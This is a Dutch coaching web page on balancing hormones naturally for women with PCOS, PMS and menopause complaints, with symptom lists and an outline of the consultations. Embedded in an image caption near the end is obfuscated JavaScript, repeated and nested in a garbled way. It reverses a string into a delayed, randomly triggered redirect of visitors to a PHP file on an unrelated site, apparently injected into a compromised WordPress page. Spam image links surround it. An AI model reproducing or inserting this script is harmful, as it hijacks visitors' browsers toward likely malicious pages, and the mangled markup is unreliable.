Hormonen in balans
Uiteindelijk is dit voor mij de trigger geweest, ik wilde veel meer kunnen betekenen voor mijn clienten dan alleen zorgen voor een mooie, gezonde huid. Ik ben diverse opleidingen gaan volgen op gebied van leefstijl, darmgezondheid, afslanken en hormonen.
Ik heb er mijn passie van gemaakt om zoveel mogelijk te leren over waar deze klachten vandaan komen en wat we hier zelf op een natuurlijke manier aan kunnen doen.
Zodat ik mensen niet alleen van buiten mooi kan maken maar ook van binnen!Door het drukke leven wordt onze lifestyle vaak op de proef gesteld.
Onder andere door stress, verkeerde voeding, te weinig slaap en te weinig beweging maar ook door veroudering kunnen er allerlei klachten zowel fysiek, mentaal als huid gerelateerd ontstaan.
Hormonen zijn boodschapperstofjes deze geven seintjes aan een orgaan om een bepaalde taak uit te voeren om zo te zorgen dat we fit blijven en in balans zijn. Dan begrijp je waarschijnlijk ook dat als we uit balans zijn en een orgaan teveel of te weinig boodschapperstofjes ontvangt om zijn taak uit te voeren er een disbalans ontstaat die allerlei vervelende klachten mee neemt.In de praktijk zie ik wat een disbalans van hormonen mentaal en fysiek kan betekenen en wat voor vervelende klachten dit kan geven, om hier zoveel mogelijk over te leren heb ik de opleiding “Trainer Hormoon Factor” gevolgd.
Ik heb me gespecialiseerd in het behandelen en begeleiden van vrouwen met PCOS, PMS, Overgangsklachten en de klachten die hier bij horen.
Mijn begeleiding richt zich met praktische adviezen en inzichten op het weer blijvend in balans brengen van jouw lichaam.
De focus zal vooral liggen op het juiste voedingspatroon, verzorging, beweging, slaap en mentale balans.* Wil jij je weer fit en energiek voelen?
* Wil je van sluimerende gezondheidsklachten af?
* Wil je op een natuurlijke manier je ideale gewicht bereiken?
Ben jij gemotiveerd om blijvend af te rekenen met jouw vervelende klachten? Wil je een fitte en gezonde lifestyle? Dan help ik jou daar graag mee!
Hoe gaan we te werk?
Tijdens jou eerste afspraak maken we een hormoonbalans analyse om te zien wat op dit moment de hormonale disbalansen zijn in je lichaam.
Voor onze 1e afspraak ontvang je een uitgebreid anamnese formulier wat jezelf thuis invult.
Tijdens het intake gesprek zullen we de anamnese bespreken en samen de hormoonanalyse invullen. Na afloop ontvang je een uitgebreid advies op maat.
Ik ga niet op de stoel van de arts zitten en stel geen medische diagnose.
Het doel is om op een gezonde natuurlijke manier je hormoon huishouding weer in balans te brengen.
Wat zijn de kosten?
Eerste afspraak
3 vervolg consulten
Intake,
hormoon analyse
uitgebreid advies op maat
30 minuten
Wat is PCOS, Polycysteus ovarium syndroom?
PCOS is geen ziekte maar een syndroom, een verzameling van symptomen.
Bij PCOS groeien er in de eerste helft van de menstruatiecyclus veel kleine vochtblaasjes in de eierstokken maar deze rijpen niet voldoende, ook groeien er vaak cystes op de eierstokken. Dit komt door te weinig FSH, follikel stimulerend hormoon en een verhoogde waarde van LH, Luteiniserend hormoon en het mannelijk hormoon testosteron.
Hierdoor is er geen of weinig keer een eisprong.
Bij PCOS herken je een aantal van de volgende symptomen:
- minder dan 9 menstruaties per jaar
- moodswings
- pijnlijke menstruaties
- aankomen en lastig afvallen
- overbeharing in het gezicht
- acne of onrustige huid
- cystes op de eierstokken
- lastig zwanger worden
- dips na het eten
- suiker behoefte etc
- vermoeidheid
Wat is de overgang of menopauze
De laatse menstruatie heet menopauze, deze treed gemiddeld op tussen 45 en 55 jaar.
Pas als je een jaar lang niet hebt gemenstrueerd spreek je van overgang, de eierstokken gaan steeds minder hormonen, oestrogeen en progesteron, aanmaken wat hele vervelende klachten met zich mee kan brengen.
Bij de overgang kun je vaak meerdere van de volgende symptomen herkennen:
- gewrichtsklachten
- spierpijn
- slaapproblemen
- hartkloppingen
- transpireren
- depressie
- libido verlies
- stemmingswisselingen
- hoofdpijn
- gewichtstoename
- rusteloze benen
- haaruitval
Wat is PMS, premenstrueel syndroom:
Lichaamelijke en geestelijke klachten die bij PMS voorkomen worden vaak veroorzaakt door gevoeligheid voor het hormoon progesteron wat rond de eisprong extra wordt aangemaakt.
Herken jij een aantal van de volgende symptomen in de tweede helft van je menstruatiecyclus?
- depressief gevoel
- opgeblazen gevoel
- emotioneel / huilerig
- hoofdpijn
- buikkrampen
- lage rugpijn
- vermoeidheid
- suikerbehoefte
- angstig
- vocht vast houden
- slecht slapen
![Woman looking at camera out of the fridge.
[url=file_closeup.php?id=19407631][img]file_thumbview_approve.php?size=1&id=19407631[/img][/url] [url=file_closeup.php?id=19407615][img]file_thumbview_approve.php?size=1&id=19407615[/img][/url] [url=file_closeup.php?id=19407588][img]file_thumbview_approve.php?size=1&id=19407588[/img][/url] [url=file_closeup.php?id=19407526][img]file_thumbview_approve.php?size=1&id=19407526[/img][/url] [url=file_closeup.php?id=19388084][img]file_thumbview_approve.php?size=1&id=19388084[/img][/url] [url=file_closeup.php?id=19387662][img]file_thumbview_approve.php?size=1&id=19387662[/img][/url] [url=file_closeup.php?id=19463201][img]file_thumbview_approve.php?size=1&id=19463201[/img][/url] [url=file_closeup.php?id=19463173][img]file_thumbview_approve.php?size=1&id=19463173[/img][/url] [url=file_closeup.php?id=19463142][img]file_thumbview_approve.php?size=1&id=19463142[/img][/url] [url=file_closeup.php?id=19463103][img]file_thumbview_approve.php?size=1&id=19463103[/img][/url] [url=file_closeup.php?id=19463068][img]file_thumbview_approve.php?size=1&id=19463068[/img][/url] [url=file_closeup.php?id=19451252][img]file_thumbview_approve.php?size=1&id=19451252[/img][/url] [url=file_closeup.php?id=19451204][img]file_thumbview_approve.php?size=1&id=19451204[/img][/url] [url=file_closeup.php?id=19451158][img]file_thumbview_approve.php?size=1&id=19451158[/img][/url] [url=file_closeup.php?id=19448596][img]file_thumbview_approve.php?size=1&id=19448596[/img][/url] [url=file_closeup.php?id=19448556][img]file_thumbview_approve.php?size=1&id=19448556[/img][/url] [url=file_closeup.php?id=19448517][img]file_thumbview_approve.php?size=1&id=19448517[/img][/url] [url=file_closeup.php?id=19448463][img]file_thumbview_approve.php?size=1&id=19448463[/img][/url] [url=file_closeup.php?id=19448408][img]file_thumbview_approve.php?size=1&id=19448408[/img][/url] [url=file_closeup.php?id=19407569][img]file_thumbview_approve.php?size=1&id=19407569[/img][/url]](https://puurtiel.nl/wp-content/uploads/2019/01/GettyImages-1431760502.jpg)
![Closeup shot of an attractive young female scientist looking through a microscope while working in a labora<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tory](https://puurtiel.nl/wp-content/uploads/2022/08/GettyImages-1185593787-scaled.jpg)
